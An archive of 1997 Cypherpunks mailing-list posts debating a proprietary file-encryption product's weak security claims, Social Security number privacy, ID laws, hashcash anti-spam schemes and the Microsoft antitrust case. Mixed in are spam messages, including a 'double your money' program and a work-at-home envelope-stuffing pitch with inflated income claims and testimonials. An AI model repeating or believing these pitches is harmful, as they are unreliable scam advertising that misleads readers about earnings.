keeping the expolit to themselves so as to exploit those stupid enough to use this lame shit. It only takes one cracker with a good disassembler to reverse engineer their code and find all the holes, and they'll be out of business. If what protects your data is the cypher, and not the key, then breaking the cypher is all you need to do. Heck, I'd bet they use something really shitty like this: (since "key size is not important", and "depends on location".) char code(char *passphrase, char data, long location); { int i; char c; for (i=0; passphrase[i]>0; c^=passphrase[i++]); return (data ^ c ^ (char)(location & 0xff)); } Gee, I probably violated their "intellectual" property by guessing their code, heh. > This has multiple > disadvantages. First, if your computer shuts down while you have > "encrypted" files open, then those files would be unencrypted. This > doesn't happen with EMF as your encrypted files are always encrypted > as stored on disk. The second disadvantage is that it slows things > down tremendously. Not if you use an encrypted disk driver. then, all your data is encrypted all the time. (You get into other issues such as keeping the passphrase or key from falling into the pagefiles, etc...) [Meaningless babble deleted.] =====================================Kaos=Keraunos=Kybernetos============== .+.^.+.| Ray Arachelian |Prying open my 3rd eye. So good to see |./|\. ..\|/..|sunder at sundernet.com|you once again. I thought you were |/\|/\ <--*-->| ------------------ |hiding, and you thought that I had run |\/|\/ ../|\..| "A toast to Odin, |away chasing the tail of dogma. I opened|.\|/. .+.v.+.|God of screwdrivers"|my eye and there we were.... |..... ======================= http://www.sundernet.com ========================== From frissell at panix.com Mon Dec 15 14:01:13 1997 From: frissell at panix.com (Duncan Frissell) Date: Tue, 16 Dec 1997 06:01:13 +0800 Subject: The Joys of Being Canadian In-Reply-To: <1.5.4.32.19971121122153.006cd9fc@pop.pipeline.com> Message-ID: <3.0.2.32.19971215163613.035c9b78@panix.com> -----BEGIN PGP SIGNED MESSAGE----- Phone Company Rep: "What's your Social Security number? Answer: "I don't have one. I'm Canadian." Power Company Rep: "What's your Social Security number? Answer: "I don't have one. I'm Canadian." Cable Company Rep: "What's your Social Security number? Answer: "I don't have one. I'm Canadian." Doctor to Seasoned Citizen: "I can't treat you privately or I'll be barred from taking Medicare patients for two years." Answer: "Sure you can. I'm Canadian." DCF (an occasional Canadian) -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQCVAwUBNJWiyYVO4r4sgSPhAQEc1QP/c1net9UaWN8KAtAsQsKkjS9frj6q47iz ypUTTP5O0SR4rum6CsNupnhnNfo6hTWnv0m//1Tt0ko3iGErBfcCb+ym//4Mo4YO yLs1uQ9PoPfsk+Se+2UbpY07I7lrtkB6MecZygTALvimhkbQMAM6hQLLQxSc5TYA uRt8tEiSoLE= =vX3R -----END PGP SIGNATURE----- From 44096770 at 15605.com Tue Dec 16 06:26:15 1997 From: 44096770 at 15605.com (44096770 at 15605.com) Date: Tue, 16 Dec 1997 06:26:15 -0800 (PST) Subject: You Could Earn $100 Every Time the Phone Rings!! Message-ID: <199702170255.GAA08056@5000.net> Double your money to infinity! Let professional salespeople close your contacts! Fortune 5000 is a rock-solid program that pays big checks every Friday! Friendly pros offer great support! You'll get guaranteed lowest prices on over 250,000 name-brand products and services in time for Christmas giving. YOU CAN'T BEAT THIS PROGRAM!!! Call 800 811-2141 code #47990 for the details and start creating your fortune TODAY! Please don't allow yourself to miss this incredible opportunity! Fortune 5000 is head-and-shoulders above the crowd of other opportunities! Pick up the phone NOW while the thought is fresh in your mind and start earning a SUBSTANTIAL income. You will be HAPPY you did! Call (800) 811-2141 code #47990 and say hello to a bright future! From melliott at ncsa.uiuc.edu Mon Dec 15 15:34:57 1997 From: melliott at ncsa.uiuc.edu (Matt Elliott) Date: Tue, 16 Dec 1997 07:34:57 +0800 Subject: The Joys of Being Canadian In-Reply-To: Message-ID: >Cable Company Rep: "What's your Social Security number? >Answer: "I don't have one. I'm Canadian." For my cable company I asked why they wanted it. For a security check when you call in was the response. Does it need to be an actuall social security number? No, just something you can remember when you call up. 012-01-0123 I replied. They were quite happy to use that as my "Social Security Number" in their database. As far as cable goes they don't want your social security number. I wonder how many others would be happy to substitute something. Matt From lori at 6t9.com Tue Dec 16 07:53:33 1997 From: lori at 6t9.com (lori at 6t9.com) Date: Tue, 16 Dec 1997 07:53:33 -0800 (PST) Subject: Super Cool Site! Message-ID: <199712161458.JAA02715@6t9.com> Hi, I'm Lori. My girlfriends and I have created this way cool site. We would love you to check it out. http://www.6t9.com/dsnm/alpg/ Love, Lori P.S. Being new to this, we were told that if you NEVER want to hear from us again, reply with the subject "Remove" and you won't. That would make us really sad though. From brianbr at together.net Mon Dec 15 16:40:54 1997 From: brianbr at together.net (Brian B. Riley) Date: Tue, 16 Dec 1997 08:40:54 +0800 Subject: Identity, Persistence, Anonymity, and Accountability--Part I of II Message-ID: <199712160027.TAA08624@mx01.together.net> -----BEGIN PGP SIGNED MESSAGE----- On 12/14/97 6:54 PM, Tim May (tcmay at got.net) passed this wisdom: >But note that there absolutely is no requirement in the United >States for ageneral form of identification. Non-drivers need not >have any form of I.D. And as we have seen in court cases, a la >Lawson v. Kolender (where a blackman in dreadlocks used to like to >walk the streets of San Diego...the copsstopped him many times and >jailed him for not having I.D. on him...the court ruled that people >don't have to present credentials issued by the state to walk the >public streets). In New Jersey there is a criminal offense called "failure to properly identify" ... I don't know if its ever been tested, or if it is still on the books, but as of ten years ago it was there. I think it was a misdemeanor (in NJ the term is "petty disorderly persons offense) I cannot imagine it as a felony. -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQEVAwUBNJXIij7r4fUXwraZAQEMvAf9FzhcodfycwA3BSV4cB5nPAqyR+6+hguK 9VG1/b7CEvEyZleD1HzRbB7i8+ycwxvtZr959FPpume5LW3eWhSsVGLEb8A9EzW3 FQXqmxa6X6LLUcPIrhfSaO8JQdPV0LXOfXwW7ZZh7s02pUmTRgpXOuM5MdHSf0nG kKTGntI5JbaEmDgvyANXETV4EomZ/0Zm3zJiGw3M9G4aZpFl3LIgFPcOUSY1MwJI TMGbNCS/DveeAhmM2J+oa8DbUwqVYGGhA27YHNve5rtxqkDbobsF9OMY8ssU70D0 K0uHEq+ZoobSlNHHrFP+I52RxXiKtP4blGxn8riYmjBp8H4ih6Hsbw== =41Ml -----END PGP SIGNATURE----- Brian B. Riley --> http://members.macconnect.com/~brianbr For PGP Keys "to be yourself in a world that tries, night and day, to make you just like everybody else - is to fight the greatest battle there ever is to fight and keep on fighting" - e.e. cummings From k0zm0z at yahoo.com Mon Dec 15 17:32:03 1997 From: k0zm0z at yahoo.com (kozmo killah) Date: Tue, 16 Dec 1997 09:32:03 +0800 Subject: ENCRYPT XXX PICZ Message-ID: <19971216011706.25938.rocketmail@send1b.yahoomail.com> D3AR S|RZ, H0W D0 | ENCRYPT NUDIE GIFS? W3RD _________________________________________________________ DO YOU YAHOO!? Get your free @yahoo.com address at http://mail.yahoo.com From nobody at secret.squirrel.owl.de Mon Dec 15 17:48:10 1997 From: nobody at secret.squirrel.owl.de (Secret Squirrel) Date: Tue, 16 Dec 1997 09:48:10 +0800 Subject: Security of Encrypted Magic Folders Message-ID: From: "Alex Woolfson" Subject: Security of Encrypted Magic Folders >I just downloaded Encrypted Magic Folders--a program that hides Windows 95 >folders and then encrypts them to prevent a disk utility from revealing >their content. In their help file, they try to answer the question "How >Secure is it?"--and, of course, they say *very*, but I can't tell if this is >so or if they're just blowing smoke. Particularly, their claim that key >size doesn't matter. (My mom taught me size always matters... ) If >someone with a stronger cryptography background than me could take a look at >this and let me know, I would greatly appreciate it. >* How Secure is it? > EMF's encryption offers good protection and excellent speed. It > hasn't been broken yet. It is, as far as we know, exportable. THERE > IS NO BACKDOOR. Should you forget your password there is nothing we > can do to decrypt your encrypted files. How do we know this? > Quite a few people ask us how big EMF's key size is. They've learned > from other encryption programs that the bigger the key the stronger > the encryption. This really doesn't apply to EMF. How do we know this? > We developed our own encryption instead of using a standard because > we wanted EMF to be able to decrypt at the byte level. In this way > we only need to decrypt/encrypt the data your programs require and > not the entire file. How do we know this? > In theory, because we decrypt at the byte level, the biggest key we > could use would be 8 bits - which is a joke. So instead of > decrypting every hunk of data using the same key, as most other > encryption programs do, we developed an algorithm to vary the key > based on the data's location within the file. In this way we get > both high security and high speed. We are trying to patent EMF's > encryption method. How do we know this? And why are they trying to patent a mathematical algorithm? (The fact they can do it is irrelevent. Patenting a mathematical algorithm, much like patenting something like XORing pixels on a screen, is stupid.) And is the fact that they're trying to patent it supposed to make us feel safer? > Having said all that, truth is, most encryption isn't "cracked" by > breaking the algorithm, it's done by guessing the password. Brute > guessing of passwords tends to level the playing field tremendously. Cool. But since we have to disassemble the program to figure out how your program really handles keys...how do we know this? > We actually have an advantage because we aren't an established > standard. Because we're small and relatively obscure chances are no > one will take the effort to write a password guessing program FUD and smokescreen. Security through obscurity. > (which > incidentally would violate copyright and intellectual property laws.) FUD and smokescreen. The fact that creating a password program allegidly violates intellectual property and copyright laws in some country isn't going to keep somebody from writing one. > Even if someone were to go thru all this effort we could easily > change the encryption method for the next update. I doubt it's much effort. For example it can take 3 weeks for a group of programmers to write a copy protection algorithm for their new PC game and about 8 hours for a cracker to break it. Further, if they're patenting this algorithm it will be public. FUD. > If we used an established encryption method like DES or Blowfish then > your files would probably have to be fully decrypted when opened, > would exist on disk as unencrypted while you're using them, and then > would need to be encrypted when closed. This has multiple FUD. Decrypt in relatively small pages and cache in memory. Since they've apparently added an encryption/decryption layer between the filesystem and the userspace libraries to begin with this shouldn't be too hard. Well, then again, considering this is Windows which is probably the worst attempt at an operating system this decade maybe it isn't. >disadvantages. First, if your computer shuts down while you have > "encrypted" files open, then those files would be unencrypted. This Not an issue if the operating system and/or encryption program are/is properly designed. > doesn't happen with EMF as your encrypted files are always encrypted > as stored on disk. The second disadvantage is that it slows things > down tremendously. As an example, let's say you retrieve your email > and your email program needs to add today's message to the end of > your 3MB email file. If we used a standard encryption method > requiring the decryption of the file before use then the entire 3 MB > file would have to be decrypted, your 300 byte message added to the > end and then the entire file encrypted again. With EMF, no > decryption would need to take place, and the only data needing > encryption would be the 300 byte message. MUCH faster. Around > 20,000 times faster in this example! Finally something which might actually be valid. > If you still think you'd like to see us use a standard encryption > method like DES or Blowfish, or have any other suggestions, let us > know and we will consider your input in future updates Unless these people have released source this program should be avoided. The algorithm is unknown, they aren't telling what it is or how it works, it hasn't been submitted for review by cryptographers (at least this list hasn't heard about it), and they aren't releasing source so you can see what's going on. They're hyping security through obscurity as a valid security method, while simultaneously applying for a patent on their security method and saying "Well, if it's cracked we'll just change to another algorithm whenever we get around to releasing the next binary-only distribution. Hope nobody gets your data in the meantime." Further, it is designed for use on an operating system which is notorious for insecurity, where everybody and everything is root (except under NT, where you actually have to make some syscalls to get admin privlidges from an unprivlidged account), where nobody releases source for anything, and where there is no source available for the OS so you can modify it to fix security holes or "features," much less add security enhancements of your own. This entire thing reads like this: "We've developed our own proprietary encryption method which nobody has ever heard of. We don't really know how good it is, but you should believe us when we say it's really, really good. In fact it's so good that we're patenting it just like RSA! Nobody will ever be able to break it because our algorithm isn't in wide use and we aren't releasing source! However if somebody actually does break it your data won't be in the open for long because we'll use some other algorithm which is just as good as the one we came up with originally and got a patent on. Hope you didn't need security in that interim and we hope that when somebody breaks this algorithm they'll tell us rather than taking advantage of all the (for them) plaintext data laying around." From attila at hun.org Mon Dec 15 18:01:09 1997 From: attila at hun.org (Attila T. Hun) Date: Tue, 16 Dec 1997 10:01:09 +0800 Subject: Redmond to Judge [Expletive Deleted] Message-ID: <19971216.014920.attila@hun.org> -----BEGIN PGP SIGNED MESSAGE----- http://www.wired.com/news/news/business/story/9178.html hot off the wire an hour ago! Redmond to Judge - [Expletive Deleted] well, I would expect nothing less than "Fuck You" from Micro$lop --they consider themselves above the law. give Jackson credit for realizing the greater scope of the problem, and for appointing the special master. M$' attitude in and of itself is prima facie evidence of theit market intent --including tossing out the option that OEMs will still be able to but the _original_ version of W95 if they elect not to take IE4. damn white of them boys up there... Analysis: Redmond to Judge - [Expletive Deleted] by Kaitlin Quistgaard and Dan Brekke 4:20pm 15.Dec.97.PST It took two of Microsoft's biggest guns more than 60 minutes to utter a reply to US District Court Judge Thomas Penfield Jackson that most of us sum up in two hard syllables. The second of which is "you." For daring to draw a line last week and forbidding the company to cross for the time being, Jackson was treated to a marathon rebuke from Brad Chase, Microsoft's vice president of Internet marketing, and William Neukom, senior vice president for law and corporate affairs. ... Chase made it clear that neither Jackson nor anyone else would keep Microsoft from readying its planned spring release of Windows 98 - in which Internet Explorer 4.0 and the Windows desktop are inextricably bound. ... Neukom did mention one other alternative that actually merits the name, and one that government the company finds itself at war with might actually recognize as viable: Manufacturers could, he said, install a Netscape browser on their Windows/IE machines. >>> what a fuckin' joke. proves their intent to be a monopoly and fuck the public interest --it's my way, or no way! -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQBVAwUBNJXd/LR8UA6T6u61AQG9bQH/fkE3TKRYOmc+y9RZTsLJYjuISYDYqB47 +G0axtsdcumv7Q09bTYOf8b3K36+ik8/RFdngce6HWXDGrrlmtbd4g== =UuqU -----END PGP SIGNATURE----- From rfarmer at HiWAAY.net Mon Dec 15 18:21:51 1997 From: rfarmer at HiWAAY.net (Uhh...this is Joe [Randall Farmer]) Date: Tue, 16 Dec 1997 10:21:51 +0800 Subject: hashcash spam prevention & firewalls In-Reply-To: <3.0.3.32.19971215000953.03767450@mail.atl.bellsouth.net> Message-ID: ... > I find this concept to have problems. Yah, so do I...I don't like things that allow abuse of discretion, but I thought it was necessary -- I didn't know hashcash could be prepackaged when I posted this. It's a moot point since it's not needed anyway, but if morbid curiosity overwhelms you, read on...To summarize, no single organization would certify remailers, not all hosts would need to be certified, and banning remailers wouldn't be any harder than it is today. =============================================================================== ... > This whitelist concept, that if I am "good" I get approved and certified > smacks of things which I generally oppose. And who keeps the whitelist? > CAUCE? Verisign? Time Magazine? The NSA? Microsoft? Well, the intention was for no single organization to certify remailers, but rather to distribute the responsibility among anyone who can be trusted not to certify a spammer. Individual gateways could choose whose certifications they trusted if they thought some authorities were too restrictive or thought spam was seeping through. Yes, I'd imagine CAUCE and Verisign (along with Infonex, nym.alias.net, etc.) would try to set themselves up as authorities. NSA wouldn't because they don't like remailers at all (except for those identity-escrowed FORTEZZA-powered Big-Brother-friendly ones, which wouldn't get users anyhow :). > > How much would it cost for each of the 50K mail hosts to become certified? > This is an administrative nightmare. Not all hosts, just high-traffic ones for which other solutions (having users exempt them from hashcash [for mailing lists] and having heavy users generate their own hashcash [for ISPs]) won't work. This basically means remailers. ... > > Currently remailers can send mail most anywhere. I suspect that if remailers > had to get certified (say a RASCi rating of "remailer") The certification scheme wasn't designed for rating but rather to let cracker get by on less than 44 CPU-hours a day. > most mail hosts would begin denying mail from remailers. They could already. Get Raph Levien's list and block mail from those addresses; unlisted remailers would be found soon enough. If you also used the certification for some arbitrary non-remailer, non-spam servers, it would probably be harder to use certification to ban remailers than to use the remailer list. --------------------------------------------------------------------------- Randall Farmer rfarmer at hiwaay.net http://hiwaay.net/~rfarmer From schear at lvdi.net Mon Dec 15 18:45:09 1997 From: schear at lvdi.net (Steve Schear) Date: Tue, 16 Dec 1997 10:45:09 +0800 Subject: wilkenrules.html In-Reply-To: <3.0.32.19691231160000.006ecfb0@shell15.ba.best.com> Message-ID: A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 580 bytes Desc: not available URL: From schear at lvdi.net Mon Dec 15 18:45:41 1997 From: schear at lvdi.net (Steve Schear) Date: Tue, 16 Dec 1997 10:45:41 +0800 Subject: remailer hashcash spam prevention In-Reply-To: Message-ID: >Steve Schear writes: >> I disagree that the best way to implement hashcash is solely via the SMTP >> mechanism. > >It is nicest to implement the blocking at the SMTP agent if this can >be done in a privacy preserving manner, because it reduces the >bandwidth consumption for users, and reduces the complexity of their >local software -- they only need to generate hashcash for outgoing >mail. > >> Almost any efficient hashcash mechanism will require some sort of history >> file, or "invited list," to allow mail lists and those we have corresponded >> with to continue to do so w/i having to supply hashcash each time. This >> list contains information which might have privacy implications and so >> should not be stored at the ISP, which can be forced to reveal such info >> w/o the knowledge of the client. > >See my post to Bill Stewart with > > Subject: supeona immune postage free list > >I think you can construct ways to allow the ISP to reject messages >without postage, and to allow frequent users to be exempt, and to do >this such that there is no invited list which becomes a juicy target. > >> If 'open' list policies were changed so that anyone could post if they >> supplied enough hashcash for each mailing list recipient for their first 1 >> or 2 posts, and thereafter no longer needed to supply hashcash (sort of >> minimum reputation capital), it might eliminate hit-and-run or throw-away >> account SPAMers without offering too high a hurdle to new or infrequent pos >> ters. > >That is an interesting thought. Well the interesting thought is that >it gives us a way to block spam at the list server, because a) the >spammer has to overcome the hurdle you described, and b) the list >operator could punish spammers who started spamming once getting over >the hurdle by blocking them. The usual trick of switching to a >different address, or a remailer would not work because they would >still have to generate a new hashcash coin as the list operator could >block the coin. > >I would however think that a large denomiation coin made out to the >list server would make more sense than generating lots of coins for >all of the list subscribers. > >However there is a nasty side to the above, in that it encourages the >list operator to censor posts he considers spam. > >It would be simpler and I think tend to less encourage censorship to >introduce a third party filtering service such as Ray Arachellian's, >and the other one, which had an option to have only spam filtered out. > >At this moment in time the spam content on mailing lists I am on is >very low. I get much more in email. > >Doubtless this would change when spammers discovered that email spam >is too CPU expensive to use. > >Also hashcash really doesn't work well for USENET. NoCeM's are cool >things for USENET, a distributed ratings system, and I understand can >be configured to work for mailing lists also. > >> Since most popular email clients allow plug-ins (e.g. Eudora) or extensions >> via Java/ActiveX, providing hashcash functionality via a plug-in and the >> java generators you propose would provide a simple mechanism to test its >> effectiveness w/o needing to involve the IETF. > >You can do a lot with local SMTP and POP3 proxies. > >There are a couple of java ones around. > >Anyone know if there is code available to do SMTP and POP3 proxying? > >I am told by one subscriber to look at TIS firewall toolkits imap >program. > >> The shortcoming of a >> plug-in approach is that few newbies will know of it or install it and will >> therefore have to wait till its built into the new release of whatever >> client they use or until some or all of the features are supplied by their >> ISP, > >Yes, this problem is the motivation for trying to work out ways that >as much as possible could happen at the ISP side for less technical >users, and even for technical users, I know few people are interested >to install new software. > >Also ISPs often seem more concerned about spam abuse than users. > >> allowing those calling regulation to continue to blow their horns. >> However, if after a successful cypherpunk beta we could get the major email >> client companies (Netscape, M$ and Qualcomm) to include our plug-ins with >> all their new updates and offer them for free download from their Web >> sites, it could quickly steal the CAUCE folk's thunder. > >It would be cool if we could pull that one off. > >Do we have anyone on list who is familiar with eurdora, qualcomm and >netscape plugins who would like to interface a hashcash library to >these systems? > >Anyone who can write java applets want to implement a java hashcash >library? (Should be easy.. jdk1.1.3 includes a sha1 function ... I am >not sure if this is included with netscape 4 or not, but there are >also numerous sha1 native java codes around, www.systemics.com being >one). > >Adam >-- >Now officially an EAR violation... >Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/ > >print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> >)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: At 8:14 AM -0600 12/14/1997, Jim Choate wrote: >Forwarded message: > >> Date: Sun, 14 Dec 1997 01:28:43 -0500 >> From: Declan McCullagh >> Subject: Re: Radio Free Cypherpunks... >> >> At 08:13 -0600 12/13/97, Jim Choate wrote: >> >With the recent changes in the law regarding Pirate Radio is anyone looking >> >> What changes? At the Cato Institute holiday party last night, I was >> speaking to a lawyer from the Institute for Justice about pirate radio >> lawsuits. The changes you mention didn't come up. What are they? > >Recently a pirate radio was charged by the FCC for operating without a >license. The judge in the case heard the arguments and said their was merit >in the question of constitutionality of the FCC regulations. The radio was >allowed to stay on the air while both sides prepared their cases. Apparently >the judge said something about this being the first time such constitutional >questions had been raised. > >There is also at least one piece of cpunks traffic in this about 2 weeks >old when the judge made the ruling. Yeah, I posted it. Over a year ago I started a heated thread on the Telecom Regulation list, "Basis of FCC jurisdiction," which posited that the Commerce Clause basis for FCC authority might not hold for very low power and tens of GHz transmissions. My argument, in short, was that if a transmission couldn't reasonably be expected to be detectable (using common receiver technology) across state lines then the FCC shouldn't have jurisdition. --Steve PGP mail preferred, see http://www.pgp.com and http://web.mit.edu/network/pgp.html RSA fingerprint: FE90 1A95 9DEA 8D61 812E CCA9 A44A FBA9 RSA key: http://keys.pgp.com:11371/pks/lookup?op=index&search=0x55C78B0D --------------------------------------------------------------------- Steve Schear | tel: (702) 658-2654 CEO | fax: (702) 658-2673 Lammar Laboratories | 7075 West Gowan Road | Suite 2148 | Las Vegas, NV 89129 | Internet: schear at lvdi.net --------------------------------------------------------------------- From schear at lvdi.net Mon Dec 15 18:55:19 1997 From: schear at lvdi.net (Steve Schear) Date: Tue, 16 Dec 1997 10:55:19 +0800 Subject: Fw: Jim Bell Sentenced (fwd) In-Reply-To: <199712141834.MAA02564@einstein.ssz.com> Message-ID: I think both you and Bell are in relatively good agreement on the problem, differing mainly on the means of a solution. Although, like you I have never considerd engaging in acts of violence to right the wrongs in our legal structure, I also do not believe that the changes you wish can reasonably be expected to be achieved through legal and democratic means within our lifetimes. Almost from the start of our nation, the actions of the Federal branches have proven that the Anti-Federalists were right, that the Constitution (as accepted) would not prevent their power grab. Wasn't it Article 2, Section 18 which was intended to prevent such abuse, and which was easily overcome by the SC's liberal interpretation in Maubery vs. Madison? Little has changed, nor it it likely to, within the system. There's too much inertia and entrenched economic and political interest, including the electorate's acquiessence to limitations of their liberties in exchange for real or imagined protection from harm. I can think of no instance when changes, of the magnitude of which you speak, were made during a peaceful transition. Can you? >Jim Choate wrote: >The difference is that I believe the system can be fixed, yes it will take >time, yes it will require a certain level of jamming unsavory morsels of the >Constitution down some tyrants throats; but it is doable. > [snip] >If you or anyone else doesn't like the way it works then get an amendment >passed that changes the way the rules operate. > >In short my main bitch is that the Supreme Court of the US doesn't say >"Ain't our problem" nearly enough and when it does speak the question it >should be asking is "Does the Constitution allow this power to the federal >govt. within the constraints of the 9th and 10th?". Neither Congress or >the Supreme Court act in a manner to honor either the letter or the spirit >of the Constitution and in particular the 9th and 10th Amendments. > >I believe that *every* federal law and regulation *must* be able to >demonstrate its lineage from one or more sentences in the Constitution >before it is applicable and legal by the 10th. > >Personaly, I want to bring charges against Congress and the Supreme Court of >the US for actions contrary to those granted them under the Constitution. In >short, I want to impeach the whole kit and kaboodle. --Steve From rfarmer at HiWAAY.net Mon Dec 15 19:06:25 1997 From: rfarmer at HiWAAY.net (Uhh...this is Joe [Randall Farmer]) Date: Tue, 16 Dec 1997 11:06:25 +0800 Subject: message dependent hashcash => no double spend database (Re: hashcash spam prevention & firewalls) In-Reply-To: <3.0.3.32.19971214234241.03899220@mail.atl.bellsouth.net> Message-ID: ... > As a technological fix for spam, destination address hashcash seems to be > lacking. All this does is raise the wall of entry into becoming a > spamhause from one PC to say, ten. It is not much more difficult to sell a > CD-ROM with one million email addresses & hashcash. A 20 second hashcash > expenditure on one million email addresses will take about 231 CPU days, or > about three weeks if you use ten machines. Sell 500 copies of the CD-ROM ^^^^^^^^^^ Hashcash has a double-spending database to prevent this -- one use and you've got to wait until it's out of the database (quite possibly a long time) before you can reuse it. ... > The implementation of the plan is a more or less impossible scheme. Nyet. It can be phased in over time...people install the software, mailing lists warn their users to exempt them, and the big servers start asking for the hashcash, little servers pick it up. ... > privacy problems with warehousing with your ISP a list of your other email > addresses, or the addresses of your postage free friends. This's already been addressed. > Changes to the "Don't charge postage" database will be awkward. Well, it wouldn't be much trickier than a Pine address book (few things are :) or a killfile. --------------------------------------------------------------------------- Randall Farmer rfarmer at hiwaay.net http://hiwaay.net/~rfarmer From lharrison at dueprocess.com Mon Dec 15 20:08:03 1997 From: lharrison at dueprocess.com (Lynne L. Harrison) Date: Tue, 16 Dec 1997 12:08:03 +0800 Subject: The Joys of Being Canadian In-Reply-To: <3.0.2.32.19971215163613.035c9b78@panix.com> Message-ID: <3.0.3.32.19971215225418.0069f33c@pop.mhv.net> At 05:15 PM 12/15/97 -0600, Matt Elliott wrote: > >For my cable company I asked why they wanted it. For a security check when >you call in was the response. Does it need to be an actuall social >security number? No, just something you can remember when you call up. > >012-01-0123 I replied. They were quite happy to use that as my "Social >Security Number" in their database. As far as cable goes they don't want >your social security number. I wonder how many others would be happy to >substitute something. When my cable company asked for my SSN, I told them that I was not going to disclose it. Of course, the refusal sent the lame-brain into a brain-dead state. I finally volunteered that they could use my middle name for verification purposes. I could actually hear the "Thank you for solving this problem!" in the employee's voice.... **************************************************************** Lynne L. Harrison, Esq. | Patience is a virtue; Poughkeepsie, New York | Possess it if you can; mailto:lharrison at dueprocess.com | Seldom in a woman; http://www.dueprocess.com | Never in a man. **************************************************************** DISCLAIMER: I am not your attorney; you are not my client. Accordingly, the above is *NOT* legal advice. From gbroiles at netbox.com Mon Dec 15 20:16:49 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Tue, 16 Dec 1997 12:16:49 +0800 Subject: Identity, Persistence, Anonymity, and Accountability--Part I of II In-Reply-To: <199712160027.TAA08624@mx01.together.net> Message-ID: <3.0.5.32.19971215201354.03e20100@208.139.48.24> >>But note that there absolutely is no requirement in the United >>States for ageneral form of identification. Non-drivers need not >>have any form of I.D. And as we have seen in court cases, a la >>Lawson v. Kolender (where a blackman in dreadlocks used to like to >>walk the streets of San Diego...the copsstopped him many times and >>jailed him for not having I.D. on him...the court ruled that people >>don't have to present credentials issued by the state to walk the >>public streets). > > In New Jersey there is a criminal offense called "failure to >properly identify" ... I don't know if its ever been tested, or if it >is still on the books, but as of ten years ago it was there. I think >it was a misdemeanor (in NJ the term is "petty disorderly persons >offense) I cannot imagine it as a felony. There's an important distinction between a requirement that you identify yourself accurately, and a requirement that you carry a particular form of identification. It is constitutional for the police to ask you what your name is, under certain circumstances - and you can face criminal charges if you lie. It is not, however, constitutional to require that you keep or carry identity cards or documents. (Modulo, of course, participation in activities like carrying a concealed weapon or driving. There are some people who believe that carrying special credentials should not be required when undertaking those activities, but very few or none of those people sit as judges, so their beliefs are comforting or pleasing but also insufficient to prevent conviction.) -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | Export jobs, not crypto. http://www.io.com/~gbroiles | http://www.parrhesia.com From HSummers594 at prodigy.net Tue Dec 16 12:29:07 1997 From: HSummers594 at prodigy.net (HSummers594 at prodigy.net) Date: Tue, 16 Dec 1997 12:29:07 -0800 (PST) Subject: Extra Income Message-ID: <0000000000.AAA000@prodigy.net>

***********************************************************************
Our Research Has Indicated That The Following
Message Will Be Of Interest To You.
***********************************************************************

Imagine what you can do with...

 UP TO $800.00 A WEEK EXTRA INCOME!
 Here's How To Get Started

      Let me tell you which companies to contact so you can start to
 receive your checks. They can be $200.00, $400.00, even $800.00 per
 week, depending on what you do. You can earn this excellent income
 right at home. And you work only when you want to.

      My name is Henry Summers. I investigate income opportunities
 that are advertised in magazines or by mail or are listed in home work
 directories and other sources.

      Then I talk to people who are actually using these opportunities. I ask
 how much money they make... and whether they enjoy the work. This helps
 me direct you to the best opportunities that are available today. Ones that
 people are using right now to earn all the money they want.

 Get Paid For Stuffing Envelopes.
 No Fees. Nothing To Buy.

      This easy work is very appealing, but most people do not know
 how to get it. That's because so many of the envelope stuffing programs
 being advertised are not what you expect. And you don't find that out
 until after you send in your money.

       Let me tell you the real facts. With true envelope stuffing...

       * You do not need to pay any fee or buy any materials to get started.
       * You do not do any advertising or handle any orders.
       * All printing, postage, and mailing lists are supplied free by
          the companies that pay you.
       * Your pay is based entirely on how many envelopes you complete.

      Rosie Martinez is an example of someone who earns money stuffing
 envelopes. The company delivers all the materials right to her door.
 She stuffs the envelopes, seals them, and applies the mailing labels
 and postage stamps that are supplied. Then she gets paid for every
 envelope completed.

      Rosie says, "I'm retired, and I enjoy having something to do.
                          I usually watch television while I work. The
                          home shopping  shows are much more fun now
                          that I have money to spend."

      If you'd like to do this kind of work, just follow the directions in
 Chapter 3 of my book "Real Home Income". Or try any of the other
 opportunities covered.

      Hundreds of companies are ready to help you make money. I'll
 tell you what each one has available now.

      Choose the kind of work you like and write to the companies who
 offer it. Pick any you want. You can work as an independent contractor for
 as many companies as you have time for.

      There are no qualifications to meet, so you will not be turned
 down. I guarantee it. If you don't like one company or you want to make
 more money, there are plenty of others you can try.

 Get Paid For Assembling Miniatures

      Gina Walker of Texas likes to assemble miniature furniture for doll houses.
 All the necessary materials are supplied by the company that
 pays her. She puts them together and sends them back to the company.

      Everything is conveniently handled by mail and UPS. The company
 sends her a nice pay check for each batch she completes.

      Gina says: "I really like the work, and the extra money helps
                       pay my bills. I'm glad I found out about these companies."

      You can get paid the same way. And you don't have to make miniatures.
 You can choose from many other types of work. You can sew baby
 bonnets, assemble beaded jewelry, crochet doll clothes, make wooden
 items, assemble stuffed animals, paint figurines, weave rattan reed,
 and many more.

     You get the names and addresses of over 50 companies that will pay
for things you make or assemble at home. No experience is required,
and it makes no difference where you live.

     Almost all the companies supply the needed materials. Just do the
work and get paid for each batch you send back. Wouldn't you like to
get those pay checks? I'll show you how to get started fast.

How I Made $800.00 Per Week After Losing My Job

     I became interested in home income opportunities several years
ago when I lost my job. I sent for dozens of money making offers. Most
were totally worthless. Others did not appeal to me.

     But circular mailing caught my interest... and it actually
worked. In just six weeks, I was making over $800.00 a week working
part time at home. It was better than my previous job. I soon paid off
my bills and bought a new car.

     Yet that was only the beginning. As I learned more about it and
tried different things, the money poured in even faster. It made a
huge difference when I applied certain secrets that are used by the
experts. I was amazed at how profitable it could be.

     In "Real Home Income" you'll learn how to use those secrets
yourself. I'll tell you which companies to contact to get started.
I'll show you some simple steps you can take to double your income
without doing any more work.

      If you want, you can do all of this without handling any
orders. Your name and address does not have to appear on anything you
mail. You just mail circulars for companies and receive nice fat
checks from them.

     With my proven methods, you can soon be earning more money than
you ever imagined. Just follow my directions, and you can start
receiving checks from the same companies I do.

Receive One Dollar For Each Envelope You Stuff.
